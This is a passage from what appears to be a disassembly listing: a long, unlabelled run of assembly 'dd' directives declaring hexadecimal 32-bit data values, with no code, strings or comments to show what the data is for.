0F88DBAF9h, 6A3B5F40h, 0CE2234AEh, 0FB428128h, 0D29071B5h dd 45031851h, 901DD3E5h dd 8DAA78h, 0DD4B6746h, 0F6DB1F5Fh, 997D700Ch, 72965981h dd 1DACF2B9h, 3C2EF7h, 5E61EEA8h, 773A65B0h, 49FF80D2h dd 0B4B7604Ch, 7B99021Ch, 3D40AABBh, 0C21E687Ah, 0DCC0D8D5h dd 0E2A31FE1h, 0C9A904A6h, 0C95F8160h, 9A800308h, 302C31C1h dd 35441A74h, 294D0046h, 2D516140h, 0CE9010A7h, 5B49A49h dd 7379D070h, 0E3B1A680h, 0F1080E5Dh, 31028691h, 3C443D6Bh dd 68804B13h, 0EE76A000h, 98DD9329h, 3167403h, 1EBD4A69h dd 59079D98h, 47289918h, 0AF4482C0h, 0F12F1277h, 0A53440C9h dd 2D76E5BFh, 871CD02h, 52C0F73Fh, 0C2647BB8h, 4D670529h dd 0EEA153C1h, 119B1061h, 998B363Ah, 0A0845Eh, 289F4057h dd 81E0E95Ch, 496AAA8Fh, 2B022840h, 38D10F04h, 0A580BE50h dd 607644F7h, 35052A04h, 94807E14h, 30977420h, 9E203EE9h dd 3A013C60h, 0A2AE6BE4h, 0C2D02741h, 0DAF4016Ch, 0CD2C8252h dd 0CA2DD4EFh, 399A9009h, 0E8E9093Ch, 1F0758h, 9E2D1029h dd 62A9F16Ah, 67BA0306h, 7C9373Dh, 0D7956999h, 89831064h dd 3E25CCBEh, 51B8203Dh, 0EC79C442h, 0F0E2B3h, 0C05099E1h dd 384516A0h, 3B5D5F3Bh, 7EB787BAh, 319BB8Bh, 0F8579EA4h dd 0EF11594h, 0EEE2B310h, 0B8C79980h, 0D8F9952Eh, 9A2AA331h dd 0FD3BC083h, 93E300B4h, 714D4BCh, 28E00Dh, 231AAFB5h dd 38104B7Ch, 0B4ABC80h, 0E71B8178h, 4186F898h, 0E1FB9C00h dd 0FD8F43F0h, 0DC530042h, 3851F4F6h, 6B1ECA3Ah, 1D8A0F91h dd 93001C4Ah, 7748EFFBh, 0AF730707h, 0E132123Dh, 0D436E125h dd 6600E6E0h, 0C2940FFFh, 0C710AAAh, 397E7CAh, 5C034B91h dd 42153F74h, 0E3F8B0EBh, 0E44E00B5h, 9B73BAF7h, 3F1D660Ah dd 40CA450Ch, 84008C0Dh, 249C538Ch, 34B458F7h, 0A9BDEC81h dd 1A9C3029h, 0C8598E0Ah, 0F440C83Fh, 3488E6h, 0E15E4122h dd 0C73B39Eh, 6335D1Eh, 400E4EC0h, 0C06A9989h, 0A782AE51h dd 4D13310Fh, 74008C79h, 1D7B8B1Bh, 834700B3h, 99D8235Fh dd 0C139890Dh, 0B8438067h, 60AD2624h, 0F375E2CDh, 0B52C8180h dd 0BFF672C6h, 0F7B65F1Bh, 649BA248h, 57CB00B4h, 3F3D7375h dd 930F6790h, 24A9FA96h, 0A0883C7Bh, 0C720043h, 5F4C4E07h dd 510708B4h, 0ECFCBE3Eh, 33235B81h, 89382830h, 19C3296h dd 0CF45352Bh, 0CC30DC6Fh, 24858886h, 84310E6Fh, 0EE4B72B7h dd 8089B889h, 0B4A56600h, 6D3BCF91h, 2C782E7Ah, 0E6CBB842h dd 9CD10094h, 128BAF8Eh, 30000718h, 86FD95B1h, 586BDFh dd 0ED1A6737h, 0EB5E54CDh, 602FF53Eh, 26B6B071h, 7CF0456h dd 91BF3277h, 6D96D1E8h, 9B007D74h, 3869DEEh, 0F24D1FF4h dd 3C4118CBh, 0B6799134h, 5E7EE304h, 0CFC0283Fh, 0E33ACC02h dd 5DFE219Eh, 51A00007h, 393325CFh, 4873E2Ch, 0DD202D60h dd 0FD7A1Ch, 3C0E0CE8h, 77ACFC67h, 44580BFAh, 0F2F16060h dd 0B77F48h, 0F5854318h, 0C29914FEh, 0D0917873h, 0CB79B500h dd 0E41F414Ch, 0CE52001Eh, 7518DC1h, 7524D147h, 0F103EC9Ah dd 0A0B6F2D9h, 17A9E7ADh, 1429D2Eh, 48E6AE48h, 0EE402055h dd 20607B27h, 6D8777D4h, 0D68B1258h, 0C91CD049h, 991F227Ah dd 0A880BD8Dh, 633B7CEAh, 0F928380Fh, 93EC801h, 1302984Dh dd 35F6F8F3h, 58CF007Ah, 2C2BA9C6h, 150284E4h, 0CC7C1CA2h dd 906449h, 853215Eh, 0B4FEBEC2h, 0A7D03800h, 7292C7C8h dd 3EB2FEECh, 9E81996Bh, 0F7402B5Dh, 64B048ACh, 229C089Ch dd 1983F300h, 0C90030Bh, 396945EAh, 24B89FE8h, 4F106A42h dd 41CE8C58h, 73BB00DCh, 47FA8566h, 1E073225h, 0A2A6C712h dd 1B94FFF0h, 8028B1EFh, 0B7FBC82Fh, 0BE00785Eh, 0A0754C48h dd 5D3F596Dh, 9B28F8D4h, 6E3C0054h, 0E53A9874h, 3F00E3A2h dd 0FFBDEBA4h, 583DB8F8h, 40C20AEh, 0ECB02CF7h, 704C1D14h dd 45AEC394h, 1B6AF8B9h, 0C560C589h, 25900688h, 2F2E108Ah dd 0F4ED09Ah, 4127209Dh, 75CC429h, 63712C38h, 724560A8h dd 682808CDh, 0A6481896h, 393101DCh, 0C39CE801h, 304C93C8h dd 1A4C64ECh, 89003366h, 34A5073Ah, 31BA2D5h, 0D340ABE8h dd 17E09246h, 565C6B4Ch, 0CD387AE4h, 20E917C1h, 6F322430h dd 4E6A00C4h, 0B50CEB46h, 8201FDBDh, 0A3EF71C9h, 943C2CAFh dd 0B1D86F80h, 0F100205Dh, 7D617CB2h, 6150F536h, 280DF8A8h dd 0D82D06h, 0D2F4752Ch, 1CBF9E6Ah, 0D78659BBh, 1B30C89Ch dd 25440800h, 9930ACA5h, 0AACB00F2h, 7895E41Ch, 965FD269h dd 4E0BF840h, 0E2758198h, 84FC00D1h, 934032Fh, 390782EDh dd 0E0F4169Eh, 4D175F70h, 0F7151661h, 0C02031ADh, 0CA047096h dd 1A7A588h, 245F5285h, 3D367B97h, 0C12C4C04h, 6B5299F9h dd 0F54179F5h, 0C8C84C9Ch, 7D42000Fh, 54697422h, 5325A3B6h dd 0EC98A098h, 7F0FBD0Eh, 17DC9824h, 30C5CE1Eh, 0B10994C8h dd 0A1ACED00h, 4B69BECFh, 0B5E5125Dh, 1944C873h, 3CAACD00h dd 8C7C387Eh, 94DB02A4h, 27E3E1F2h, 67B49688h, 0AEBDD087h dd 0E8F42B4Ah, 0FB55FC00h, 0BAF21BC8h, 699A2A93h, 0FDC50084h dd 0C316FEC0h, 2026D852h, 6640C098h, 3832DDD3h, 7980E7CDh dd 993D3F8Eh, 1CB1C2F7h, 0AFDCF300h, 13495325h, 4527EE4h dd 408DB900h, 0D438AAB6h, 0CE60002Bh, 933B0743h, 1B00F6FDh dd 0CFFC542h, 6149EE1Ah, 85FEC1B6h, 566D0138h, 12C45FF4h dd 893F1F06h, 0B6F6F4BCh, 48DD500h, 0A598C47Dh, 8BB0D4h dd 5DADF8EEh, 0B4953069h, 1C0BA4Dh, 28A41C59h, 3838AFFDh dd 60848F87h, 90E79C35h, 4EBBA000h, 9A152F57h, 0C3C10013h dd 5197A8CBh, 0AE04F21Fh, 1DB92B48h, 0B55F00C1h, 32A579FCh dd 2F512973h, 5024B4C4h, 500804Eh, 0E0274B31h, 6A6005D8h dd 8891CE08h, 83721D28h, 3FBCCF58h, 0FCB405A9h, 18F43FE8h dd 0A46A07BEh, 709519E1h, 8F4BBFDCh, 3A235C00h, 5277E592h dd 9137460h, 9BBA0555h, 4620ECC8h, 0A730F400h, 0BC3A8EDh dd 0DBFF0175h, 0A1EE0756h, 0ECBC304Fh, 3C0A040Bh, 4BCC20D0h dd 95BCC65h, 43882753h, 4D70BCC4h, 2DD400Fh, 86960A5h dd 4F971CBh, 0B4AE288Eh, 0BF0CCC5Ah, 87991B00h, 23C4AB7Ch dd 82BC04EEh, 83C8A81Ch, 291EF2ACh, 8039871Dh, 0C0B2BF1Eh dd 3B7C2AEh, 0B528ACA1h, 83C9E21h, 0C7067CA9h, 22BB41F2h dd 4AE418B8h, 1F349D1h, 0BE468D01h, 50DE9F1Ch, 1D1330C8h dd 0C9C50769h, 8C8AF1C1h, 0B2E5606Ch, 0EC00DA8Ch, 0F461A20Ah dd 5CD4C90Bh, 0CF801C3Ch, 1C679C18h, 21D50F00h, 97C5F19Dh dd 1DB091h, 399D2BEh, 3F190984h, 0BF00A898h, 3E573B60h dd 24A13733h, 9EDC7A49h, 0DA4C40B6h, 0E4311FEFh, 8FA6CB3Ch dd 81158058h, 0BE1AEA36h, 792B2820h, 0D8F0146h, 9C65AF64h dd 22CC70B8h, 0B373BF00h, 9B4140CFh, 0B52F0159h, 0A8B4B1F9h dd 0BC54F460h, 1476BB73h, 0BF023F0Bh, 0AD3A826Ch, 9F0860DBh dd 3D4F2E32h, 9365409Ch, 600176BFh, 510AEEE2h, 0C892ADEBh dd 869800AAh, 0D01F70AFh, 214F658h, 0BCF4EC85h, 124597Ah dd 62C8E6B5h, 8FA06A12h, 3A2B0090h, 0BA0B0A86h, 0D89144F1h dd 0E0E0D88Eh, 11CA4874h, 83E906CBh, 58C8BDE7h, 9E4B13Ah dd 8112D007h, 0F327E820h, 0B84C4839h, 1EF18607h, 2D5B52F5h dd 22481C78h, 0A0082DB0h, 29C338F4h, 3FF625B5h, 1259DCA0h dd 280F7F5Dh, 0E1BD9C1Fh, 871B3EB9h, 90C45060h, 15C576BCh dd 0D8A54972h, 96606D0Fh dd 69B65280h, 3402E890h, 56870145h, 0C7DCE071h, 482D3C4Ah dd 1A6CC180h, 22517E4Dh, 72815E2h, 6B48A4A8h, 5B030054h dd 8EF1FE60h, 6898482Fh, 0BBE51004h, 3A04C252h, 9820D32Fh dd 90934B20h, 0AC5625CFh, 812A8081h, 80147C51h, 392D9112h dd 91804D4h, 80031463h, 0AB0A6D6Ah, 0D090974Ah, 7029C2h dd 341610D9h, 0D444F9C7h, 0B5B02650h, 8F0BCAF0h, 4033B1AAh dd 0B0E2FB84h, 1E2D0098h, 3D9807D5h, 0BC07D104h, 2774C2C3h dd 7C879C9h, 8B44A683h, 0CA400002h, 85005C79h, 0BB988DD4h dd 9D69005Fh, 0CE518978h, 4174E6A9h, 428022h, 320D9915h dd 0C1E89B1Fh, 1DABEB00h, 3D8FC7BAh, 0D4645001h, 9884A00Ch dd 5384255Bh, 0AC0084E4h, 0A2B990D5h, 1CB1D0EFh, 1F85BDFBh dd 42506CF6h, 0D471293Ah, 961AED00h, 3EE422E3h, 0A21D9C24h dd 7A54807Fh, 5F8C56D4h, 2CA2DFB0h, 0EB2E0CCCh, 4B094EECh dd 0E8EC1064h, 53BA0060h, 0B9338E2Eh, 0EF072BFAh, 465CCEE4h dd 85D6FBD0h, 0AA9005F7h, 0BCD0F28h, 121A28h, 0B60068C6h dd 242A9FADh, 3E313C1h, 40D9A62Fh, 0FFF85F87h, 61163B51h dd 0AC974AD4h, 841B0B90h, 0DC770Fh, 0D24BA8BBh, 690D7B47h dd 0A0AD98A0h, 0AC197A26h, 20DD4800h, 2FB4BABFh, 909127F3h dd 0D6EB4039h, 133E81E2h, 1C1587ECh, 0ABE0B230h, 0A074DAh dd 0C51201FEh, 0ED17CD77h, 50556F0Ch, 8908F2h, 84CE236Dh dd 530EEB52h, 87BFAF8h, 1A030974h, 0D462AB0Fh, 60F8A825h dd 91A100D8h, 77F40457h, 50C1896Fh, 0FA158405h, 0C72B2D0h dd 0FF4F1EABh, 0E000261h, 8D0F677Ah, 7A1E1B8h, 0B96A3F16h dd 0A482B091h, 6079974h, 1DC8CC32h, 2E2BD971h, 94ADA980h dd 4E4E7DEh, 0BFAB3E00h, 3BF67FF9h, 0E6C9C8EFh, 567C3080h dd 0C4E6B37h, 686C19B4h, 9617ED18h, 261CBD16h, 0B240279Ch dd 0E8C034D4h, 9E1003Dh, 6FDB4791h, 51305456h, 47D51FDh dd 60FA00FEh, 0C3917AC5h, 0F726C7C6h, 0AE00F0AFh, 7BD30AEAh dd 2AE30680h, 717614D6h, 0A7F63807h, 0FB5092F1h, 0A23CC5Eh dd 19DBB34Fh, 67F3ACCh, 2D4BDDDFh, 671E916h, 0E6B3803h dd 0A87E4FC3h, 569ED6h, 8A682C1Eh, 0BA80110Bh, 0D9318661h dd 8A98C77Eh, 0E63CB1E8h, 5FB8C05h, 0F4202D53h, 0A12269h dd 0D3AAB0B1h, 1950C131h, 5E489A00h, 17DA398Bh, 2CB9C077h dd 84F92943h, 3D04261Fh, 10666B40h, 86DCE9h, 377E808Bh dd 4CD53381h, 70100661h, 41806C16h, 5426FD47h, 0DB00B6A1h dd 670AA47Ah, 9D6486Eh, 4B41D8BEh, 0C2801829h, 0A91C557Bh dd 1EC64C00h, 85788B27h, 6EAB3F5Ah, 0DCA158F1h, 412D6806h dd 0D82F3970h, 779DC39h, 0E004BA06h, 7BCC2845h, 30B81C2Ah dd 37ADA000h, 38F4A9EBh, 0BF7F18h, 344CCBDBh, 14E2EA26h dd 0E800AF76h, 0D75F979Ch, 0CB8A06h, 0C779C8E5h, 0B0091021h dd 0D001FE8h, 3CE0B21Ah, 18A7A9A1h, 694CE2EEh, 0B7000723h dd 0F44B2B2Ah, 5338331h, 505EBF3Ch, 0CBCC40F5h, 0F742B00Eh dd 62948201h, 132C1D75h, 0F64CD050h, 0F1F5245Ch, 0EAFE0044h dd 86A0DA2h, 93E32400h, 0A7CC8C07h, 2A0A0001h, 5D99C5D4h dd 529187Bh, 0B0018C42h, 0D0F0029Ah, 0C84875F1h, 9D7A1FE6h dd 196607D4h, 29191C6Dh, 84026AF0h, 1426D332h, 0F97C2077h dd 53007A3Fh, 23BC3AA9h, 875908h, 0CBD5611Ch, 14C0A029h dd 19316E60h, 73598545h, 0A09E7CB8h, 358053Ch, 60B5FD6Eh dd 0BB866E4h, 0A400EEDBh, 3291078Dh, 15564ADEh, 842FF677h dd 0E6EEA206h, 1D24D154h, 6640EC4Fh, 9708E3h, 873712B6h dd 8A0FD569h, 0F8623F00h, 0F1D7A822h, 60AD075Bh, 47A0ACF4h dd 2EE08FFDh, 8FE281C1h, 34210960h, 1902F48h, 7452BDB2h dd 0CD08A4C4h, 108BF0FFh, 6D537600h, 0ACF3312Fh, 60187D02h dd 0CB5E50ABh, 0B010FB9h, 2FC5BACCh, 0F271C61Dh, 0F6E16D0h dd 25AB792Bh, 5A70B0C3h, 0FD78708Eh, 4208400h, 306C0FA4h dd 5512302Bh, 0C47BADA0h, 3863C00h, 17150872h, 81E9241Eh dd 0FF7600FDh, 8A5F71BEh, 2C777018h, 3C6BDA51h, 2F808D62h dd 0EF32A6D7h, 1333EEA0h, 0D8CDF9A7h, 0C46727h, 663FDBF9h dd 0DA26CF32h, 820EED0Ah, 1960881Ah, 3FA81A8h, 2C5C4B4h dd 26A96872h, 6BC6D0BEh, 0F50D201h, 0F25B6C70h, 77B900D3h dd 3A4803C2h, 3CFC3567h, 5079F800h, 15D34A7Eh, 0B3C70031h dd 8C24263Bh, 0BD00D864h, 0BEF911D9h, 5279E64Dh, 40CAC5Bh dd 81597B22h, 5899F660h, 38C5A1Bh, 4CE33B42h, 310086F0h dd 0DD5735Bh, 0D718EEh, 0CF5936B1h, 61F25EEFh, 0B01A49C0h dd 6D044D1h, 8EF4C591h, 0D81259F8h, 9500489Bh, 0EC8D84F3h dd 21140079h, 45A99A7Eh, 956F127Bh, 0A3772069h, 7C500252h dd 5E9703D2h, 1605E77Ah, 8E8604A0h, 8459EE60h, 73B6CFAEh dd 643C0548h, 0C0CE42B4h, 328702EAh, 5D97C07h, 6240CA10h dd 1F33A78Ch, 0C0175AE2h, 0A8003A5h, 7E033C54h, 0F15E6246h dd 1EB3887Dh, 91A26011h, 0CE300335h, 4B69600h, 7EF60E49h dd 0EFBA0014h, 5FBC830Fh, 2A005D23h, 2E11D68Fh, 9777D06h dd 28166941h, 2A32020h, 0FC026E1Ch, 8C78DD42h, 0CBC6E0F0h dd 0CAE10351h, 0DC8240F5h, 0B055D900h, 0A77F1310h, 0FEE430AAh dd 0F4802319h, 5B86454h, 80925C3Fh, 0F0E5D6D2h, 8D9707h dd 63125565h, 0C372707Dh, 9DCBE0ABh, 0BD30D102h, 0C3E3342Ch dd 0C049A359h, 0AC380Bh, 0B358A2DFh, 39627B55h, 0B0F0540Ch dd 50A839A1h, 391D44D6h, 4692658Ch, 0C4940121h, 33E0A820h dd 88658008h, 64C9651h, 0F33F7204h, 9400C179h, 7C0276CCh dd 0E2C45FBAh, 0F83B3C95h, 8C6B0D03h, 1FD8CCD6h, 940F8748h dd 60012615h, 0BFAF5F79h, 496560F4h, 0B7C26655h, 0C62FCA01h dd 642A8933h, 0E161FD4h, 0FE0E820Dh, 7CBFC9C0h, 8D505587h dd 0BB007A54h, 0F85C2D98h, 0C0568E36h, 0F3B72FB0h, 1748AF88h dd 0AA809C98h, 1934A153h, 6AFE00A3h, 336909F5h, 47004A27h dd 3104DE16h, 0D68221h, 5E20960Fh, 6A4F1184h, 7A1DA8C0h dd 2E87DCF5h, 87B2AF6Fh, 0E1816E05h, 0D404B0C9h, 15050312h dd 9E110230h, 0F296A040h, 0A0799Ch, 1BA9A42Bh, 44730E58h dd 800B633Fh, 0BA0DFCC7h, 5C6BF6B7h, 0A146E37h, 0E9003C12h dd 0C9FBB6BCh, 0E50E0D5Dh, 7D6BE6A8h, 433BF900h, 0A5327B1h dd 0EF818B90h, 6189808Ch, 3B6BE737h, 0D8DB6601h, 0DF048848h dd 282F91CCh, 501258h, 5F430A36h, 0F1C9FC2Dh, 0BAA3Dh dd 52652A44h, 12E0BFDEh, 186BB45h, 8E8C0314h, 92A610EDh dd 0DE4300D8h, 0F391CC1Bh, 3D003664h, 0D71F2C78h, 1E632DACh dd 522B7962h, 251C2257h, 7DEF3240h, 0D719FF00h, 1F923316h dd 0C8114C85h, 0D2425180h, 360089CFh, 0E6B07DE3h, 805506h dd 71B3905Fh, 0AE87ED95h, 0E37331C0h, 202D906h, 50A04C47h dd 8140B1EAh, 0B1C0F28Eh, 96DFC1Dh, 1173015Fh, 1208B77Bh dd 0FBD9D47Ch, 0E8DBBD0Fh, 0CEA918F4h, 24E300DEh, 86C40E57h dd 0D400FF80h, 859FC58Ch, 160527AAh, 9219DBh, 6A9D1660h dd 0B14C8CA9h, 0C094505Ch, 1E2B2Ch, 607D004Eh, 49155996h dd 0B5004C04h, 0E1D647ECh, 9200765Eh, 0A277CD73h, 9B1F4F7h dd 0CF01DA1Fh, 27174498h, 48618E03h, 0B0A32123h, 0B6264Ah dd 0A122AAE0h, 1EBF8BAEh, 0DE246000h, 5481E315h, 8CAB288Ah dd 0CADBE5E0h, 341020F5h dd 0EF004EB2h, 20098551h, 24928C94h, 60D0BCABh, 3ACA4F95h dd 3FAB501h, 0A080D820h, 7681B9CCh, 0B00448E0h, 17A89A06h dd 3E00D906h, 5C1FE6BCh, 0A02CF27h, 32217876h, 891A60F0h dd 7400E055h, 996E5024h, 41C1059h, 2BB4E481h, 7834C821h dd 0A91E58A0h, 2F2BC38h, 0FE4CF0Eh, 90EC4397h, 986A702Bh dd 91A51410h, 5A004416h, 0C8672930h, 88E234E9h, 3E95FF01h dd 7E708B82h, 40C1072h, 0EE716A20h, 0D6DCB560h, 6EFA3C0h dd 0F344C479h, 3E00216Fh, 0A804338Fh, 4806BEAh, 262B2E09h dd 0A2E04155h, 0D062F481h, 8BA1007Eh, 0A5270F65h, 89001946h dd 0D91CD5A2h, 2F02660h, 5181BC75h, 0B06655E8h, 0F3F200Eh dd 27C4028h, 306F6Dh, 4A22E762h, 7B517A78h, 0DD0014B8h dd 0F76BD95Ch, 7E8949h, 2B059AE9h, 0F3BB0A81h, 91596344h dd 20119634h, 7E63A028h, 0F626D900h, 36EA3A03h, 0D2090115h dd 0DE88F18Ch, 16487039h, 2B1F850Fh, 2282FC78h, 0C4E458A8h dd 50DB2A18h, 78F548A0h, 758C1E80h, 2E0039E8h, 3DEDB8C2h dd 1261A55Ch, 3085D254h, 41A27BCCh, 63004BF0h, 7714F45h dd 15C5BFB5h, 0EC891610h, 31F78118h, 0CCE1E68Bh, 140FCCBDh dd 0AC4976ABh, 246372B3h, 1EC8D646h, 40B91E92h, 129CEDF6h dd 87017D09h, 74C803A4h, 85F1F56Fh, 2D242032h, 589D001Ch dd 0A85F6B08h, 80E8FA58h, 0CE75137Eh, 8C061248h, 5DF0079Eh dd 4A7470C2h, 0F3188807h, 0C7F966F4h, 411300EBh, 49468AB7h dd 0BB1DAFEEh, 79C4D1B4h, 508C63EAh, 84E0B8h, 0BF30186Ah dd 9AD57765h, 90B8C050h, 94110718h, 1E1CF8A1h, 416AB9DCh dd 70C5D633h, 4244171h, 2C7216h, 0CBB18E9h, 725D40BFh dd 0B0977B73h, 0F0DB4510h, 6501449Ah, 0F53B009h, 0B1426AC8h dd 487C4443h, 184073EAh, 2CAA008Bh, 89FF186h, 0E0E76C70h dd 99094F87h, 90180296h, 72C468h, 0B78A3C71h, 28EA78D2h dd 61D76201h, 327D79E5h, 457CB822h, 2320C168h, 27390048h dd 0EAB3D2D0h, 6C090038h, 874059Bh, 47135095h, 0D80272D8h dd 0E0AEE653h, 784F8428h, 4C805887h, 201D080h, 5F00113Fh dd 0F7C5932Ah, 0FB615E25h, 0E27203E8h, 5F8F4A18h, 595AC070h dd 0C355641Dh, 0FDDD2906h, 50A16EF4h, 12B89BBh, 0C66DC99h dd 800716D3h, 0DB5B63F1h, 0FF6EAA6h, 77BB04C6h, 0A5112224h dd 20B6CC88h, 45153C07h, 64C08462h, 5DDAAAh, 4F9BD94h dd 5D93B63h, 3714DCE8h, 648F32h, 0A14CC797h, 58AF526Eh dd 2B009791h, 0E5F4DD61h, 78A3F78Fh, 795F58F8h, 8E060909h dd 33D404FBh, 0BCA39C80h, 0B1FE6016h, 0DF0CAD29h, 0BA174900h dd 9A7DD9FCh, 4E1D0075h, 80AC1670h, 38944B90h, 35225C40h dd 7934039Bh, 0CD0DFF44h, 2CD452F0h, 2A1D311Dh, 85822280h dd 9623A53h, 0A0401554h, 2E5BB082h, 6A7A8D20h, 2CB92C02h dd 0DD320049h, 9E9B06ABh, 1C625173h, 0C6CDF716h, 0C692003Ch dd 0FF5AA8C9h, 990030EBh, 9EB0447Bh, 2D3106Eh, 0A9E3B722h dd 84A0F381h, 4CAAB254h, 7F41D517h, 0A38E601h, 0C873C161h dd 94FE4D07h, 99E0F08Eh, 7100546Fh, 53FE181h, 5C982E9h dd 0FBDA9433h, 0C14CC678h, 26CCB007h, 83C2E4E7h, 90AC51EDh dd 4258BEFh, 514063F8h, 0DDD187BBh, 0F0997126h, 91FC0B00h dd 3728009h, 0BF636082h, 31076DF3h, 209B8A14h, 542800Fh dd 0B4C3B03h, 941FBD60h, 0CACB4C98h, 0D93F9D00h, 907AAB0Ah dd 9ECDF1F1h, 0F0FBDCh, 0A3FD17CDh, 1685AEE9h, 9D00247Ch dd 64ACD562h, 0B07DB083h, 0E3B7498h, 0C704EF44h, 0F152A9E0h dd 4951BEBBh, 0E2C40CD4h, 0EB0048FCh, 0D90861CEh, 102577h dd 0BBB57CE0h, 6822BDA1h, 0B00A4F26h, 5D6FD00h, 703CEF9h dd 152BB959h, 0E86DC002h, 810ECD0Fh, 9CD64020h, 70B30E81h dd 0A0510A8Dh, 866047EAh, 17E100DEh, 24F84137h, 5702768Dh dd 1708E88h, 877CC08Bh, 7829F961h, 0A45A3400h, 9775B8B4h dd 23F12703h, 80E2FEDBh, 0E7F6F5h, 6C7F69B0h, 0EA5F8071h dd 0D8F25A26h, 9C0BA340h, 96530086h, 4BEB80FBh, 0A7001389h dd 0FD5CF40Fh, 12E39B7Ch, 40301734h, 9AD0D108h, 7E7D235Eh dd 5193E8F9h, 6B6E0E01h, 282B1EB6h, 2070872h, 218B0372h dd 0E05A6FC7h, 2C2CD7C2h, 2E80A8F7h, 47FD74EDh, 2A5D0016h dd 584BBD89h, 6C057E55h, 9591921Fh, 19AC9802h, 5FC06007h dd 0ED2D0914h, 442093B3h, 0A7C9D7DAh, 7D24D375h, 0E801B480h dd 17BC4025h, 0FB016422h, 529CA0EBh, 66986405h, 1136D20Ch dd 0F049AAh, 6F8D23DFh, 4F2FDC64h, 73BD4700h, 0B9844971h dd 23284B16h, 0A3F05BACh, 0EA002755h, 57C87826h, 39C7C628h dd 0A78B351Ah, 9800B33Fh, 8C644E9Ah, 0AC772C00h, 7F1716C4h dd 6C180168h, 272B8BF5h, 5443601Bh, 0BFA9B400h, 0F3BA081Eh dd 0ACB967h, 2285FC76h, 2948B39Eh, 0C372032Bh, 0E8A401A2h dd 0D9D16Ah, 3B664FF5h, 0E7BDB03Fh, 2EB4D802h, 611671B9h dd 0C8405B88h, 64038A6Bh, 0CCF7DC80h, 0A07B7390h, 29A20400h dd 4CBBA79Dh, 0EA503FE5h, 0B7775A81h, 0CD87F712h, 0D3EC1093h dd 0A43A0005h, 1A8D4BAFh, 38991FB0h, 0F88EA380h, 6B3586h dd 20D6AE0Ch, 0D58F9073h, 8622B13Bh, 9C113B34h, 1B63831h dd 4845E90Eh, 0BBC552E0h, 0EAE00DA3h, 0FAEDFB1Ch, 0BD90580h dd 58789565h, 0B8DFD4DBh, 200E8C00h, 0E32B8D36h, 2C79CDE3h dd 0E2CB8038h, 207D1Fh, 0F76388F5h, 10197653h, 0A081C427h dd 14E01CCCh, 2793003Fh, 0A88F5590h, 6200D7AFh, 24763BCAh dd 73538CBBh, 1F651401h, 3A02EC9Ah, 2BA9790Ah, 4728938Ah dd 0CDDC0341h, 0F5B1F8C8h, 48466D01h, 0ED095A69h, 9DB038h dd 606B8950h, 0CB00C2F3h, 6E08AFB7h, 766F62h, 0F11D055Bh dd 80041AF4h, 83491004h, 6C902916h, 0E9637Fh, 549A9D6Fh dd 10BC50ECh, 7EFA9200h, 0AAD0B8B3h, 80A6392Bh, 11582289h dd 61E2E090h, 0BC4AB01Fh, 0A52D6B82h, 185091h, 0E9237F9Eh dd 0F2598C3Fh, 32A60096h, 0E10041A6h, 3D425015h, 200E5AB0h dd 1F3E598h, 76016E75h, 0BA309151h, 0D8216C16h, 0B5C1582Ch dd 20C6B1DAh, 2E266A90h, 3809CCD1h, 3349116h, 1CA4E0D3h dd 6EEF019Eh, 21A7F126h, 5083097h, 0E872DF02h, 40B0C214h dd 6E397368h, 70E3C0B6h, 0C1D447C4h, 7328BAB4h, 0F1950078h dd 0DBCD2CE1h, 651B0373h, 0D9E9A96Ch, 74F4210Fh, 0E0FB00B1h dd 3ACFE471h, 0DB22AAC4h, 31A9C504h, 60C342E6h, 9C03823h dd 168DF481h, 10B1ED90h, 30D8BA5Bh, 0A9112D15h, 0D2078B75h dd 27861441h, 4482DDF2h, 0BF9003Ch, 0D61D4B45h, 0C600E93Ah dd 0A47F540Ah, 12577AFDh, 1FDD8123h, 66FCCF00h, 1CBBB900h dd 56039CEEh, 7A942D53h, 44804AACh, 4079F248h, 3BB2D9EAh dd 13EF0041h, 7105C59Ah, 4E0E6FEEh, 0C509BE86h, 1C0851D8h dd 17DF8066h, 7804C2Dh, 9821D61Ch, 0D20BCF80h, 2B9860Ch dd 83617CECh, 80C01F9Dh, 0B32DC903h, 1CC908Eh, 0A5BB0114h dd 9E0D45D8h, 0E080FA02h, 29F7A9A7h, 4D9F1700h, 341FC1CDh dd 0AC825053h, 8C060E8Fh, 87808916h, 0A1FBE85Eh, 0ED2D9FF0h dd 0C6D011D9h, 348355CCh, 0C071F481h, 0B3343ACDh, 0A70041F6h dd 0A2427D95h, 5C8D31FCh, 0ED80988Eh, 20C51EEBh, 704B3500h dd 2E9566BBh, 84B92433h, 0A96A0420h, 300C89FBh, 80F8FEBCh dd 0FD3240h, 39912CEAh dd 281B5588h, 0F0DA48h, 0B61D97Bh, 4F72040Dh, 8B88002Eh dd 70AFB0AAh, 412F7E33h, 0E0788Dh, 0B5E0EE5Ch, 0D8040ED9h dd 7B9C8014h, 483ACC14h, 0CF3C2699h, 0A5D860C0h, 4109A601h dd 4480C442h, 8ADA03DCh, 0FEC2F17Fh, 305DC1F9h, 82002A8Ch dd 0C1DE49Fh, 3BD19B7Dh, 0F4986C57h, 0AFF5397Ah, 0DF33BC0Eh dd 461BA086h, 98B246Ah, 7A8C309Dh, 72BBF780h, 2B6117D9h dd 5BC573A1h, 6ED43BD1h, 8B92009Bh, 8266D406h, 14A01259h dd 910069B9h, 0F694C334h, 38CD5711h, 988348B3h, 9FADF04Bh dd 2F73D904h, 1480CE64h, 9621E9Ch, 0F394ABBBh, 7C1C4C10h dd 204ECD00h, 228FE92Bh, 0FB50FC8h, 472F24BCh, 433A7F60h dd 18099515h, 44A4E485h, 4D3D00ECh, 91991E55h, 0E01C6DDEh dd 0F780E11Bh, 0FDAD6825h, 0EB349031h, 27B48310h, 7F164490h dd 2846FA75h, 21A913h, 0A2E441E8h, 7A3BB85Dh, 0CC207902h dd 0E675326Ah, 67D01D40h, 0F8AA42C4h, 14C6286Fh, 0A9B31D03h dd 0C9E653C7h, 0E5600A04h, 4C227159h, 9E758CBEh, 7F803944h dd 5A03AA6Fh, 471BBCC2h, 80612A12h, 77A1CC6h, 2109DE69h dd 553B6089h, 393CC926h, 851497D4h, 856CB80Bh, 5C810804h dd 7FF48288h, 7B80F678h, 8190165Eh, 26F1E54h, 0F4BFA5E4h dd 0F33900C4h, 6B1D8085h, 68172B34h, 63820989h, 5D00E4ABh dd 19777D09h, 111A5127h, 270F66Ch, 0C3405885h, 676B5500h dd 0DECE7650h, 0B12A3200h, 1DA0661h, 0D9020028h, 0E308626Dh dd 0AE4CEFA2h, 1E3E1208h, 8D207C30h, 909B074h, 0F22ECCA6h dd 172500E8h, 4CE69700h, 24788763h, 19FA000Ch, 0AB5A65Dh 